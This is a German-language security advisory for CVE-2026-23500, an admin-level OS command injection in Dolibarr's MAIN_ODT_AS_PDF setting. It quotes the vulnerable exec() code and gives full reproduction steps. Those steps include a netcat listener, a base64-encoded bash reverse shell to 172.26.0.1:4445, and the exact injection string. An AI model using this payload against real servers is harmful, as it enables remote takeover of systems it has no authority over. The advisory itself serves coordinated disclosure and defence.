
CVE-2026-23500 - OS-Befehlsinjektion (RCE) über die MAIN_ODT_AS_PDF-Konfiguration in Dolibarr
| Feld | Details |
|---|
| CVE ID | CVE-2026-23500 |
| Schweregrad | KRITISCH |
| Sicherheitshinweis | GHSA-w5j3-8fcr-h87w |
| Entdeckt von | Lukasz Rybak |
Ein authentifizierter Administrator kann beliebige Betriebssystembefehle ausführen, indem er eine schädliche Nutzlast in die Konfigurationskonstante MAIN_ODT_AS_PDF einschleust. Diese Sicherheitslücke besteht, weil die Anwendung den Befehlspfad nicht ordnungsgemäß validiert oder maskiert, bevor sie ihn an die exec()-Funktion im ODT-zu-PDF-Konvertierungsprozess übergibt.
Die Schwachstelle befindet sich in htdocs/includes/odtphp/odf.php.
Wenn das System versucht, ein ODT-Dokument in PDF zu konvertieren (z. B. in Vorschlägen, Rechnungen), erstellt es einen Shell-Befehl unter Verwendung der globalen Einstellung MAIN_ODT_AS_PDF.
Codeausschnitt (htdocs/includes/odtphp/odf.php, ca. Zeile 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Während der Dateiname $name mithilfe von escapeshellcmd() bereinigt wird, wird die Konfigurationsvariable MAIN_ODT_AS_PDF direkt aus der Datenbank abgerufen und am Anfang der Zeichenkette angehängt. Ein Angreifer mit Administratorrechten kann diese Variable so setzen, dass sie einen Befehlsseparator (wie ;) gefolgt von beliebigen Befehlen enthält.
Voraussetzungen:
Schritte zur Reproduktion (Reverse Shell):
172.26.0.1, Port: 4445):nc -lvnp 4445
Bereiten Sie die Nutzlast vor. Um Probleme mit Sonderzeichen (wie & oder >) zu vermeiden, die von der Webanwendung oder Shell maskiert werden könnten, kodieren Sie den Reverse-Shell-Befehl in Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Navigieren Sie zu Home -> Setup -> Other Setup.
Fügen Sie die Konstante MAIN_ODT_AS_PDF hinzu oder ändern Sie sie mit der folgenden Injektionsnutzlast:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Erklärung: jodconverter erfüllt die erste Prüfung, ; fungiert als Befehlsseparator und die Pipeline dekodiert und führt die Base64-Nutzlast aus).
Navigieren Sie zu Commerce -> New proposal, erstellen Sie einen Entwurf, wählen Sie eine ODT-Vorlage (z. B. generic_proposal_odt), und klicken Sie auf Generate.



Remote Code Execution (RCE).
Ein Angreifer, der Zugriff auf ein Administratorkonto erhält (oder ein böswilliger Administrator), kann beliebige Befehle auf dem zugrunde liegenden Server mit den Rechten des Webserver-Benutzers (normalerweise www-data) ausführen. Dies ermöglicht:
Gemeldet von Łukasz Rybak
Diese CVE wurde verantwortungsvoll gemäß den Praktiken der koordinierten Offenlegung von Sicherheitslücken offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich zu Bildungs- und Verteidigungszwecken.